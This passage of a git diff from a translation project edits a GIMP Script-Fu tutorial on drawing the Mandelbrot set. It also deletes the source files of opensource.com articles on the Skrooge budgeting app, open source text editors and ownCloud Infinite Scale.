`image` to which it will add a layer with the fractal, the `palette-name` identifying the color palette to be used, the `threshold` value to stop the iteration, the `domain-width` and `domain-height` that identify the image boundaries, and the `offset-x` and `offset-y` to center the image to the desired feature. The script also needs some other parameters that it can deduce from the GIMP interface: - ``` (define (script-fu-mandelbrot image palette-name threshold domain-width domain-height offset-x offset-y)   (define num-colors (car (gimp-palette-get-info palette-name))) @@ -212,7 +203,6 @@ The new function is called `script-fu-mandelbrot`. The best practice for writing Then it creates a new layer and identifies it as the script's `drawable`. A "drawable" is the element you want to draw on: - ``` (define new-layer (car (gimp-layer-new image                                        width height @@ -226,27 +216,25 @@ Then it creates a new layer and identifies it as the script's `drawable`. A "dra (define bytes-per-pixel (car (gimp-drawable-bpp drawable))) ``` -For the code determining the pixels' color, I used the [Racket][20] example on the [Rosetta Code][21] website. It is not the most optimized algorithm, but it is simple to understand. Even a non-mathematician like me can understand it. The `iterations` function determines how many steps the succession requires to pass the threshold value. To cap the iterations, I am using the number of colors in the palette. In other words, if the threshold is too high or the succession does not grow, the calculation stops at the `num-colors` value. The `iter->color` function transforms the number of iterations into a color using the provided palette. If the iteration number is equal to `num-colors`, it uses black because this means that the succession is probably bound and that pixel is in the Mandelbrot set: - +For the code determining the pixels' color, I used the [Racket][21] example on the [Rosetta Code][22] website. It is not the most optimized algorithm, but it is simple to understand. Even a non-mathematician like me can understand it. The `iterations` function determines how many steps the succession requires to pass the threshold value. To cap the iterations, I am using the number of colors in the palette. In other words, if the threshold is too high or the succession does not grow, the calculation stops at the `num-colors` value. The `iter->color` function transforms the number of iterations into a color using the provided palette. If the iteration number is equal to `num-colors`, it uses black because this means that the succession is probably bound and that pixel is in the Mandelbrot set: ``` ; Fractal drawing section. -; Code from: +; Code from: https://rosettacode.org/wiki/Mandelbrot_set#Racket (define (iterations a z i)   (let ((z′ (add-c (mul-c z z) a))) -     (if (or (= i num-colors) (> (magnitude z′) threshold)) +     (if (or (= i num-colors) (> (magnitude z′) threshold))         i         (iterations a z′ (+ i 1))))) -(define (iter->color i) -  (if (>= i num-colors) -      (list->vector '(0 0 0)) -      (list->vector (vector-ref colors i)))) +(define (iter->color i) +  (if (>= i num-colors) +      (list->vector '(0 0 0)) +      (list->vector (vector-ref colors i)))) ``` Because I have the feeling that Scheme users do not like to use loops, I implemented the function looping over the pixels as a recursive function. The `loop` function reads the starting coordinates and their upper boundaries. At each pixel, it defines some temporary variables with the `let*` function: `real-x` and `real-y` are the real coordinates of the pixel in the complex plane, according to the parameters; the `a` variable is the starting point for the succession; the `i` is the number of iterations; and finally `color` is the pixel color. Each pixel is colored with the `gimp-drawable-set-pixel` function that is an internal GIMP procedure. The peculiarity is that it is not undoable, and it does not trigger the image to refresh. Therefore, the image will not be updated during the operation. To play nice with the user, at the end of each row of pixels, it calls the `gimp-progress-update` function, which updates a progress bar in the user interface: - ``` (define z0 (make-rectangular 0 0)) @@ -255,17 +243,16 @@ Because I have the feeling that Scheme users do not like to use loops, I impleme          (real-y (- (* domain-height (/ y height)) offset-y))          (a (make-rectangular real-x real-y))          (i (iterations a z0 0)) -         (color (iter->color i))) -    (cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color) +         (color (iter->color i))) +    (cond ((and (< x end-x) (< y end-y)) (gimp-drawable-set-pixel drawable x y bytes-per-pixel color)                                          (loop (+ x 1) end-x y end-y)) -          ((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y)) +          ((and (>= x end-x) (< y end-y)) (gimp-progress-update (/ y end-y))                                           (loop 0 end-x (+ y 1) end-y))))) (loop 0 width 0 height) ``` At the calculation's end, the function needs to inform GIMP that it modified the `drawable`, and it should refresh the interface because the image is not "automagically" updated during the script's execution: - ``` (gimp-drawable-update drawable 0 0 width height) (gimp-displays-flush) @@ -275,7 +262,6 @@ At the calculation's end, the function needs to inform GIMP that it modified the To use the `script-fu-mandelbrot` function in the graphical user interface (GUI), the script needs to inform GIMP. The `script-fu-register` function informs GIMP about the parameters required by the script and provides some documentation: - ``` (script-fu-register   "script-fu-mandelbrot"          ; Function name @@ -300,71 +286,69 @@ To use the `script-fu-mandelbrot` function in the graphical user interface (GUI) Then the script tells GIMP to put the new function in the Layer menu with the label "Create a Mandelbrot layer": - ``` -`(script-fu-menu-register "script-fu-mandelbrot" "/Layer/")` +(script-fu-menu-register "script-fu-mandelbrot" "/Layer/") ``` Having registered the function, you can visualize it in the Procedure Browser. -![script-fu-mandelbrot function][22] - -(Cristiano Fontana, [CC BY-SA 4.0][6]) +![script-fu-mandelbrot function][23] ### Run the script Now that the function is ready and registered, you can draw the Mandelbrot fractal! First, create a square image and run the script from the Layers menu. -![script running][23] - -(Cristiano Fontana, [CC BY-SA 4.0][6]) +![script running][24] The default values are a good starting set to obtain the following image. The first time you run the script, create a very small image (e.g., 60x60 pixels) because this implementation is slow! It took several hours for my computer to create the following image in full 1920x1920 pixels. As I mentioned earlier, this is not the most optimized algorithm; rather, it was the easiest for me to understand. -![Mandelbrot set drawn using GIMP's Firecode palette][10] - -Portion of a Mandelbrot fractal using GIMP's Firecode palette. (Cristiano Fontana, [CC BY-SA 4.0][6]) +![Mandelbrot set drawn using GIMP's Firecode palette][25] ### Learn more This tutorial showed how to use GIMP's built-in scripting features to draw an image created with an algorithm. These images show GIMP's powerful set of tools that can be used for artistic applications and mathematical images. -If you want to move forward, I suggest you look at the official documentation and its [tutorial][14]. As an exercise, try modifying this script to draw a [Julia set][24], and please share the resulting image in the comments. +If you want to move forward, I suggest you look at the official documentation and its [tutorial][26]. As an exercise, try modifying this script to draw a [Julia set][27], and please share the resulting image in the comments. + +Image by: Rotated and magnified portion of the Mandelbrot set using Firecode. (Cristiano Fontana, CC BY-SA 4.0) -------------------------------------------------------------------------------- via: https://opensource.com/article/21/2/gimp-mandelbrot 作者:[Cristiano L. Fontana][a] -选题:[lujun9972][b] +选题:[lkxed][b] 译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 [a]: https://opensource.com/users/cristianofontana -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/painting_computer_screen_art_design_creative.png?itok=LVAeQx3_ (Painting art on a computer screen) +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/painting_computer_screen_art_design_creative.png [2]: https://www.gimp.org/ [3]: https://en.wikipedia.org/wiki/Fractal [4]: https://en.wikipedia.org/wiki/Self-similarity -[5]: https://opensource.com/sites/default/files/uploads/mandelbrot_portion.png (Portion of a Mandelbrot fractal using GIMPs Coldfire palette) -[6]: https://creativecommons.org/licenses/by-sa/4.0/ -[7]: https://docs.gimp.org/en/gimp-concepts-script-fu.html -[8]: https://opensource.com/article/21/1/gimp-scripting -[9]: https://en.wikipedia.org/wiki/Mandelbrot_set -[10]: https://opensource.com/sites/default/files/uploads/mandelbrot.png (Mandelbrot set drawn using GIMP's Firecode palette) -[11]: https://opensource.com/sites/default/files/uploads/mandelbrot_portion2.png (Rotated and magnified portion of the Mandelbrot set using Firecode.) -[12]: https://en.wikipedia.org/wiki/Complex_number +[5]: https://opensource.com/sites/default/files/uploads/mandelbrot_portion.png +[6]: https://docs.gimp.org/en/gimp-concepts-script-fu.html +[7]: https://opensource.com/article/21/1/gimp-scripting +[8]: https://en.wikipedia.org/wiki/Mandelbrot_set +[9]: https://opensource.com/sites/default/files/uploads/mandelbrot.png +[10]: https://opensource.com/sites/default/files/uploads/mandelbrot_portion2.png +[11]: https://en.wikipedia.org/wiki/Complex_number +[12]: https://docs.gimp.org/en/gimp-concepts-script-fu.html [13]: https://en.wikipedia.org/wiki/Scheme_(programming_language) [14]: https://docs.gimp.org/en/gimp-using-script-fu-tutorial.html -[15]: https://opensource.com/sites/default/files/uploads/procedure_browser_0.png (GIMP Procedure Browser) -[16]: https://en.wikipedia.org/wiki/Polish_notation -[17]: https://xkcd.com/297/ -[18]: https://www.gnu.org/software/guile/manual/html_node/Pairs.html -[19]: https://docs.racket-lang.org/reference/generic-numbers.html?q=make-rectangular#%28part._.Complex_.Numbers%29 -[20]: https://racket-lang.org/ -[21]: https://rosettacode.org/wiki/Mandelbrot_set#Racket -[22]: https://opensource.com/sites/default/files/uploads/mandelbrot_documentation.png (script-fu-mandelbrot function) -[23]: https://opensource.com/sites/default/files/uploads/script_working.png (script running) -[24]: https://en.wikipedia.org/wiki/Julia_set +[15]: https://opensource.com/article/21/1/gimp-scripting +[16]: https://opensource.com/sites/default/files/uploads/procedure_browser_0.png +[17]: https://en.wikipedia.org/wiki/Polish_notation +[18]: https://xkcd.com/297/ +[19]: https://www.gnu.org/software/guile/manual/html_node/Pairs.html +[20]: https://docs.racket-lang.org/reference/generic-numbers.html?q=make-rectangular#%28part._.Complex_.Numbers%29 +[21]: https://racket-lang.org/ +[22]: https://rosettacode.org/wiki/Mandelbrot_set#Racket +[23]: https://opensource.com/sites/default/files/uploads/mandelbrot_documentation.png +[24]: https://opensource.com/sites/default/files/uploads/script_working.png +[25]: https://opensource.com/sites/default/files/uploads/mandelbrot.png +[26]: https://docs.gimp.org/en/gimp-using-script-fu-tutorial.html +[27]: https://en.wikipedia.org/wiki/Julia_set diff --git a/sources/tech/20210210 Manage your budget on Linux with this open source finance tool.md b/sources/tech/20210210 Manage your budget on Linux with this open source finance tool.md deleted file mode 100644 index d671e6cbf2..0000000000 --- a/sources/tech/20210210 Manage your budget on Linux with this open source finance tool.md +++ /dev/null @@ -1,86 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Manage your budget on Linux with this open source finance tool) -[#]: via: (https://opensource.com/article/21/2/linux-skrooge) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -Manage your budget on Linux with this open source finance tool -====== -Make managing your finances easier with Skrooge, an open source -budgeting tool. -![2 cents penny money currency][1] - -In 2021, there are more reasons why people love Linux than ever before. In this series, I'll share 21 different reasons to use Linux. This article is about personal financial management. - -Personal finances can be difficult to manage. It can be frustrating and even scary when you don't have enough money to get by without financial assistance, and it can be surprisingly overwhelming when you do have the money you need but no clear notion of where it all goes each month. To make matters worse, we're often told to "make a budget" as if declaring the amount of money you can spend each month will somehow manifest the money you need. The bottom line is that making a budget is hard, and not meeting your financial goals is discouraging. But it's still important, and Linux has several tools that can help make the task manageable. - -### Money management - -As with anything else in life, we all have our own ways of keeping track of our money. I used to take a simple and direct approach: My paycheck was deposited into an account, and I'd withdraw some percentage in cash. Once the cash was gone from my wallet, I had to wait until the next payday to spend anything. It only took one day of missing out on lunch to learn that I had to take my goals seriously, and I adjusted my spending behavior accordingly. For the simple lifestyle I had at the time, it was an effective means of keeping myself honest with my income, but it didn't translate well to online business transactions, long-term utility contracts, investments, and so on. - -As I continue to refine the way I track my finances, I've learned that personal accounting is always an evolving process. We each have unique financial circumstances, which inform what kind of solution we can or should use to track our income and debt. If you're out of work, then your budgeting goal is likely to spend as little as possible. If you're working but paying off a student loan, then your goal probably favors sending money to the bank. And if you're working but planning for retirement, then you're probably trying to save as much as you can. - -The thing to remember about a budget is that it's meant to compare your financial reality with your financial _goals_. You can't avoid some expenses, but after those, you get to set your own priorities. If you don't hit your goals, you can adjust your own behavior or rewrite your goals so that they better reflect reality. Adapting your financial plan doesn't mean you've failed. It just means that your initial projection wasn't accurate. During hard times, you may not be able to hit any budget goals, but if you keep up with your budget, you'll learn a lot about what it takes financially to maintain your current lifestyle (whatever it may be). Over time, you can learn to adjust settings you may never have realized were available to you. For instance, people are moving to rural towns for the lower cost of living now that remote work is a widely accepted option. It's pretty stunning to see how such a lifestyle shift can alter your budget reports. - -The point is that budgeting is an often undervalued activity, and in no small part because it's daunting. It's important to realize that you can budget, no matter your level of expertise or interest in finances. Whether you [just use a LibreOffice spreadsheet][2], or try a dedicated financial application, you can set goals, track your own behavior, and learn a lot of valuable lessons that could eventually pay dividends. - -### Open source accounting - -There are several dedicated [personal finance applications for Linux][3], including [HomeBank][4], [Money Manager EX][5], [GNUCash][6], [KMyMoney][7], and [Skrooge][8]. All of these applications are essentially ledgers, a place you can retreat to at the end of each month (or whenever you look at your accounts), import data from your bank, and review how your expenditures align with whatever budget you've set for yourself. - -![Skrooge interface with financial data displayed][9] - -Skrooge - -I use Skrooge as my personal budget tracker. It's an easy application to set up, even with multiple bank accounts. Skrooge, as with most open source finance apps, can import multiple file formats, so my workflow goes something like this: - - 1. Log in to my banks. - 2. Export the month's bank statement as QIF files. - 3. Open Skrooge. - 4. Import the QIF files. Each gets assigned to their appropriate accounts automatically. - 5. Review my expenditures compared to the budget goals I've set for myself. If I've gone over, then I dock next month's goals (so that I'll ideally spend less to make up the difference). If I've come in under my goal, then I move the excess to December's budget (so I'll have more to spend at the end of the year). - - - -I only track a subset of the household budget in Skrooge. Skrooge makes that process easy through a dynamic database that allows me to categorize multiple transactions at once with custom tags. This makes it easy for me to extract my personal expenditures from general household and utility expenses, and I can leverage these categories when reviewing the autogenerated reports Skrooge provides. - -![Skrooge budget pie chart][10] - -Skrooge budget pie chart - -Most importantly, the popular Linux financial apps allow me to manage my budget the way that works best for me. For instance, my partner prefers to use a LibreOffice spreadsheet, but with very little effort, I can extract a CSV file from the household budget, import it into Skrooge, and use an updated set of data. There's no lock-in, no incompatibility. The system is flexible and agile, allowing us to adapt our budget and our method of tracking expenses as we learn more about effective budgeting and about what life has in store. - -### Open choice - -Money markets worldwide differ, and the way we each interact with them also defines what tools we can use. Ultimately, your choice of what to use for your finances is a decision you must make based on your own requirements. And one thing open source does particularly well is provide its users the freedom of choice. - -When setting my own financial goals, I appreciate that I can use whatever application fits in best with my style of personal computing. I get to retain control of how I process the data in my life, even when it's data I don't necessarily enjoy having to process. Linux and its amazing set of applications make it just a little less of a chore. - -Try some financial apps on Linux and see if you can inspire yourself to set some goals and save money! - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/linux-skrooge - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/Medical%20Costs%20Transparency_1.jpg?itok=CkZ_J88m (2 cents penny money currency) -[2]: https://opensource.com/article/20/3/libreoffice-templates -[3]: https://opensource.com/life/17/10/personal-finance-tools-linux -[4]: http://homebank.free.fr/en/index.php -[5]: https://www.moneymanagerex.org/download -[6]: https://opensource.com/article/20/2/gnucash -[7]: https://kmymoney.org/download.html -[8]: https://apps.kde.org/en/skrooge -[9]: https://opensource.com/sites/default/files/skrooge.jpg -[10]: https://opensource.com/sites/default/files/skrooge-pie_0.jpg diff --git a/sources/tech/20210211 31 open source text editors you need to try.md b/sources/tech/20210211 31 open source text editors you need to try.md deleted file mode 100644 index d9ca620bf4..0000000000 --- a/sources/tech/20210211 31 open source text editors you need to try.md +++ /dev/null @@ -1,182 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (31 open source text editors you need to try) -[#]: via: (https://opensource.com/article/21/2/open-source-text-editors) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) - -31 open source text editors you need to try -====== -Looking for a new text editor? Here are 31 options to consider. -![open source button on keyboard][1] - -Computers are text-based, so the more things you do with them, the more you find yourself needing a text-editing application. And the more time you spend in a text editor, the more likely you are to demand more from whatever you use. - -If you're looking for a good text editor, you'll find that Linux has plenty to offer. Whether you want to work in the terminal, on your desktop, or in the cloud, you can literally try a different editor every day for a month (or one a month for almost three years) in your relentless search for the perfect typing experience. - -### Vim-like editors - -![][2] - - * [Vi][3] ships with every Linux, BSD, Solaris, and macOS installation. It's the quintessential Unix text editor, with its unique combination of editing modes and super-efficient single-key shortcuts. The original Vi editor was an application written by Bill Joy, creator of the C shell. Modern incarnations of Vi, most notably Vim, have added many features, including multiple levels of undo, better navigation while in insert mode, line folding, syntax highlighting, plugin support, and much more. It takes practice (it even has its own tutor application, vimtutor.) - * [Kakoune][4] is a Vim-inspired application with a familiar, minimalistic interface, short keyboard shortcuts, and separate editing and insert modes. It looks and feels a lot like Vi at first, but with its own unique style, both in design and function. As a special bonus, it features an implementation of the Clippy interface. - - - -### emacs editors - -![][5] - - * The original free emacs, and one of the first official applications of the GNU project that started the Free Software movement, [GNU Emacs][6] is a wildly popular text editor. It's great for sysadmins, developers, and everyday users alike, with loads of features and seemingly endless extensions. Once you start using Emacs, you might find it difficult to think of a reason to close it because it's just that versatile! - * If you like Emacs but find GNU Emacs too bloated, then you might like [Jove][7]. Jove is a terminal-based emacs editor. It's easy to use, but if you're new to emacsen (the plural of emacs), Jove is also easy to learn, thanks to the teachjove command. - * Another lightweight emacs editor, [Jed][8] is a simple incarnation of a macro-based workflow. One thing that sets it apart from other editors is its use of [S-Lang][9], a C-like scripting language providing extensibility options to developers more comfortable with C than with Lisp. - - - -### Interactive editors - -![][10] - - * [GNU nano][11] takes a bold stance on terminal-based text editing: it provides a menu. Yes, this humble editor takes a cue from GUI editors by telling the user exactly which key they need to press to perform a specific function. This is a refreshing take on user experience, so it's no wonder that it's nano, not Vi, that's set as the default editor for "user-friendly" distributions. - * [JOE][12] is based on an old text-editing application called WordStar. If you're not familiar with Wordstar, JOE can also mimic Emacs or GNU nano. By default, it's a good compromise between something relatively mysterious like Emacs or Vi and the always-on verbosity of GNU Nano (for example, it tells you how to activate an onscreen help display, but it's not on by default). - * The excellent [e3][13] application is a tiny text editor with five built-in keyboard shortcut schemes to emulate Emacs, Vi, nano, NEdit, and WordStar. In other words, no matter what terminal-based editor you are used to, you're likely to feel right at home with e3. - - - -### ed and more - - * The [ed][14] line editor is part of the [POSIX][15] and Open Group's standard definition of a Unix-based operating system. You can count on it being installed on nearly every Linux or Unix system you'll ever encounter. It's tiny, terse, and tip-top. - * Building upon ed, the [Sed][16] stream editor is popular both for its functionality and its syntax. Most Linux users learn at least one sed command when searching for the easiest and fastest way to update a line in a config file, but it's worth taking a closer look. Sed is a powerful command with lots of useful subcommands. Get to know it better, and you may find yourself open text editor applications a lot less frequently. - * You don't always need a text editor to edit text. The [heredoc][17] (or Here Doc) system, available in any POSIX terminal, allows you to type text directly into your open terminal and then pipes what you type into a text file. It's not the most robust editing experience, but it is versatile and always available. - - - -### Minimalist editors - -![][18] - -If your idea of a good text editor is a word processor except without all the processing, you're probably looking for one of these classics. These editors let you write and edit text with minimal interference and minimal assistance. What features they do offer are often centered around markup, Markdown, or code. Some have names that follow a certain pattern: - - * [Gedit][19] from the GNOME team - * [medit][20] for a classic GNOME feel - * [Xedit][21] uses only the most basic X11 libraries - * [jEdit][22] for Java aficionados - - - -A similar experience is available for KDE users: - - * [Kate][23] is an unassuming editor with all the features you need. - * [KWrite][24] hides a ton of useful features in a deceptively simple, easy-to-use interface. - - - -And there are a few for other platforms: - - * [Notepad++][25] is a popular Windows application, while Notepadqq takes a similar approach for Linux. - * [Pe][26] is for Haiku OS (the reincarnation of that quirky child of the '90s, BeOS). - * [FeatherPad][27] is a basic editor for Linux but with some support for macOS and Haiku. If you're a Qt hacker looking to port code, take a look! - - - -### IDEs - -![][28] - -There's quite a crossover between text editors and integrated development environments (IDEs). The latter really is just the former with lots of code-specific features added on. If you use an IDE regularly, you might find an XML or Markdown editor lurking in your extension manager: - - * [NetBeans][29] is a handy text editor for Java users. - * [Eclipse][30] offers a robust editing suite with lots of extensions to give you the tools you need. - - - -### Cloud-based editors - -![][31] - -Working in the cloud? You can write there too, you know. - - * [Etherpad][32] is a text editor app that runs on the web. There are free and independent instances for you to use, or you can set up your own. - * [Nextcloud][33] has a thriving app scene and includes both a built-in text editor and a third-party Markdown editor with live preview. - - - -### Newer editors - -![][34] - -Everybody has an idea about what makes a text editor perfect. For that reason, new editors are released each year. Some reimplement classic old ideas in a new and exciting way, some have unique takes on the user experience, and some focus on specific needs. - - * [Atom][35] is an all-purpose modern text editor from GitHub featuring lots of extensions and Git integration. - * [Brackets][36] is an editor from Adobe for web developers. - * [Focuswriter][37] seeks to help you focus on writing with helpful features like a distraction-free fullscreen mode, optional typewriter sound effects, and beautiful configuration options. - * [Howl][38] is a progressive, dynamic editor based on Lua and Moonscript. - * [Norka][39] and [KJots][40] mimic a notebook with each document representing a "page" in your "binder." You can take individual pages out of your notebook through export functions. - - - -### DIY editor - -![][41] - -As the saying does _NOT_ go: Why use somebody else's application when you can write your own? Linux has over 30 text editors available, so probably the last thing it really needs is another one. Then again, part of the fun of open source is the ability to experiment. - -If you're looking for an excuse to learn how to program, making your own text editor is a great way to get started. You can achieve the basics in about 100 lines of code, and the more you use it, the more you'll be inspired to learn more so you can make improvements. Ready to get started? Go and [create your own text editor][42]. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/2/open-source-text-editors - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/button_push_open_keyboard_file_organize.png?itok=KlAsk1gx (open source button on keyboard) -[2]: https://opensource.com/sites/default/files/kakoune-screenshot.png -[3]: https://opensource.com/article/20/12/vi-text-editor -[4]: https://opensource.com/article/20/12/kakoune -[5]: https://opensource.com/sites/default/files/jed.png -[6]: https://opensource.com/article/20/12/emacs -[7]: https://opensource.com/article/20/12/jove-emacs -[8]: https://opensource.com/article/20/12/jed -[9]: https://www.jedsoft.org/slang -[10]: https://opensource.com/sites/default/files/uploads/nano-31_days-nano-opensource.png -[11]: https://opensource.com/article/20/12/gnu-nano -[12]: https://opensource.com/article/20/12/31-days-text-editors-joe -[13]: https://opensource.com/article/20/12/e3-linux -[14]: https://opensource.com/article/20/12/gnu-ed -[15]: https://opensource.com/article/19/7/what-posix-richard-stallman-explains -[16]: https://opensource.com/article/20/12/sed -[17]: https://opensource.com/article/20/12/heredoc -[18]: https://opensource.com/sites/default/files/uploads/gedit-31_days_gedit-opensource.jpg -[19]: https://opensource.com/article/20/12/gedit -[20]: https://opensource.com/article/20/12/medit -[21]: https://opensource.com/article/20/12/xedit -[22]: https://opensource.com/article/20/12/jedit -[23]: https://opensource.com/article/20/12/kate-text-editor -[24]: https://opensource.com/article/20/12/kwrite-kde-plasma -[25]: https://opensource.com/article/20/12/notepad-text-editor -[26]: https://opensource.com/article/20/12/31-days-text-editors-pe -[27]: https://opensource.com/article/20/12/featherpad -[28]: https://opensource.com/sites/default/files/uploads/eclipse-31_days-eclipse-opensource.png -[29]: https://opensource.com/article/20/12/netbeans -[30]: https://opensource.com/article/20/12/eclipse -[31]: https://opensource.com/sites/default/files/uploads/etherpad_0.jpg -[32]: https://opensource.com/article/20/12/etherpad -[33]: https://opensource.com/article/20/12/31-days-text-editors-nextcloud-markdown-editor -[34]: https://opensource.com/sites/default/files/uploads/atom-31_days-atom-opensource.png -[35]: https://opensource.com/article/20/12/atom -[36]: https://opensource.com/article/20/12/brackets -[37]: https://opensource.com/article/20/12/focuswriter -[38]: https://opensource.com/article/20/12/howl -[39]: https://opensource.com/article/20/12/norka -[40]: https://opensource.com/article/20/12/kjots -[41]: https://opensource.com/sites/default/files/uploads/this-time-its-personal-31_days_yourself-opensource.png -[42]: https://opensource.com/article/20/12/31-days-text-editors-one-you-write-yourself diff --git a/sources/tech/20210211 What-s new with ownCloud in 2021.md b/sources/tech/20210211 What-s new with ownCloud in 2021.md deleted file mode 100644 index aa6507c932..0000000000 --- a/sources/tech/20210211 What-s new with ownCloud in 2021.md +++ /dev/null @@ -1,180 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (What's new with ownCloud in 2021?) -[#]: via: (https://opensource.com/article/21/2/owncloud) -[#]: author: (Martin Loschwitz https://opensource.com/users/martinloschwitzorg) - -What's new with ownCloud in 2021? -====== -The open source file sharing and syncing platform gets a total overhaul -based on Go and Vue.js and eliminates the need for a database. -![clouds in the sky with blue pattern][1] - -The newest version of ownCloud, [ownCloud Infinite Scale][2] (OCIS), is a complete rewrite of the venerable open source enterprise file sharing and syncing software stack. It features a new backend written in Go, a frontend in Vue.js, and many changes, including eliminating the need for a database. This scalable, modular approach replaces ownCloud's PHP, database, and [POSIX][3] filesystem and promises up to 10 times better performance. - -Traditionally, ownCloud was centered around the idea of having a POSIX-compatible filesystem to store data uploaded by users—different versions of the data and trash files, as well as configuration files and logs. By default, an ownCloud user's files were found in a path on their ownCloud instance, like `/var/www` or `/srv/www` (a web server's document root). - -Every admin who has maintained an ownCloud instance knows that they grow massive; today, they usually start out much larger than ownCloud was originally designed for. One of the largest ownCloud instances is Australia's Academic and Research Network (AARNet), a company that stores more than 100,000 users' data. - -### Let's 'Go' for microservices - -ownCloud's developers determined that rewriting the codebase with [Go][4] could bring many advantages over PHP. Even when computer programs appear to be one monolithic piece of code, most are split into different components internally. The web servers that are usually deployed with ownCloud (such as Apache) are an excellent example. Internally, one function handles TCP/IP connections, another function might handle SSL, and yet another piece of code executes the requested PHP files and delivers the results to the end user. All of those events must happen in a certain order. - -ownCloud's developers wanted the new version to serve multiple steps concurrently so that events can happen simultaneously. Software capable of handling requests in parallel doesn't have to wait around for one process to finish before the next can begin, so they can deliver results faster. Concurrency is one of the reasons Go is so popular in containerized micro-architecture applications. - -With OCIS, ownCloud is adapting to an architecture centered around the principle of microservices. OCIS is split into three tiers: storage, core, and frontend. I'll look at each of these tiers, but the only thing that really matters to people is overall performance. Users don't think about software in tiers; they just want the software to work well and work quickly. - -### Tier 1: Storage - -The storage available to the system is ownCloud's lowest tier. Performance also brings scalability; large ownCloud instances must be able to cope with the load of thousands of clients and add additional disk space if the existing storage fills up. - -Like so many other concepts today, object stores and scalable storage weren't available when ownCloud was designed. Administrators now are used to having more choices, so ownCloud permits outsourcing physical storage device handling to an external solution. While S3-based object storage, Samba-based storage, and POSIX-compatible filesystem options are still supported in OCIS, the preferred way to deploy it is with [Earth Observing System][5] (EOS) storage. - -#### EOS to the rescue - -EOS is optimized for very low latency when accessing files. It provides disk-based storage to clients through the [XRootD][6] framework but also permits other protocols to access files. ownCloud uses EOS's HTTP protocol extension to talk to the storage solution (using the HTTPS protocol). EOS also allows almost "infinite" scalability. For instance, [CERN's EOS setup][7] includes more than 200PB of disk storage and continues to grow. - -By choosing EOS, ownCloud eliminated several shortcomings of traditional storage solutions: - - * EOS doesn't have a typical single point of failure. - * All relevant services are run redundantly, including the ability to scale out and add instances of all existing services. - * EOS promises to never run out of actual disk space and comes with built-in redundancy for stored data. - - - -For large environments, ownCloud expects the administrator to deploy an EOS instance with OCIS. In exchange for the burden of maintaining a separate storage system, the admin gets the benefit of not having to worry about the OCIS instance's scalability and performance. - -#### What about small setups? - -This hints at ownCloud's assumed use case for OCIS: It's no longer a small business all-in-one server nor a small home server. ownCloud's strategy with OCIS targets large data centers. For small or home office setups, EOS is likely to be excessive and overly demanding for a single admin to manage. OCIS serves small setups through the [Reva][8] framework, which enables support for S3, Samba, and even POSIX-compatible filesystems. This is possible because EOS is not hardcoded into OCIS. Reva can't provide the same feature set as EOS, but it accomplishes most of the needs of end users and small installations. - -### Tier 2: Core - -OCIS's second tier is (due to Go) more of a collection of microservices than a singular core. Each one is responsible for handling a single task in the background (e.g., scanning for viruses). Basically, all of OCIS's functionality results from a specific microservice's work, like authenticating requests using OpenID Connect against an identity provider. In the end, that makes it a simple task to connect existing user directories—such as Active Directory Federation Services (ADFS), Azure AD, or Lightweight Directory Access Protocol (LDAP)—to ownCloud. For those that do not have an existing identity provider, ownCloud ships its own instance, effectively making ownCloud maintain its own user database. - -### Tier 3: Frontend - -OCIS's third tier, the frontend, is what the vendor calls ownCloud Web. It's a complete rewrite of the user interface and is based on the Vue.js JavaScript framework. Like the OCIS core, the web frontend is written based on microservices principles and hence allows better performance and scalability. The developers also used the opportunity to give the web interface a makeover; compared to previous ownCloud versions, the OCIS web interface looks smaller and slicker. - -OCIS's developers did an impressive job complying with modern software design principles. The fundamental problem in building applications according to the microservices approach is making the environment's individual components communicate with each other. APIs can come to the rescue, but that means every micro component must have its own well-defined API interface. - -Luckily, there are existing tools to take that burden off developers' shoulders, most notably [gRPC][9]. The idea behind gRPC is to have a set of predefined APIs that trigger actions in one component from within another. - -### Other notable design changes - -#### Tackling network traffic with Traefik - -This new application design brings some challenges to the underlying network. OCIS's developers chose the [Traefik][10] framework to tackle them. Traefik automatically load-balances different instances of microservices, manages automated SSL encryption, and allows additional deployments of firewall rules. - -The split between the backend and the frontend add advantages to OCIS. In fact, the user's actions triggered through ownCloud Web are completely decoupled from the ownCloud engine performing the task in the backend. If a user manually starts a virus check on files stored in ownCloud, they don't have to wait for the check to finish. Instead, the check happens in the background, and the user sees the results after the check is completed. This is the principle of concurrency at work. - -#### Extensions as microservices - -Like other web services, ownCloud supports extending its capabilities through extensions. OCIS doesn't change this, but it promises to tackle a well-known problem, especially with community apps. Apps of unknown origin can cause trouble in the server, hamper updates, and negatively impact the server's overall performance. - -OCIS's new, gRPC-based architecture makes it much easier to create extensions alongside existing microservices. Because the API is predefined by 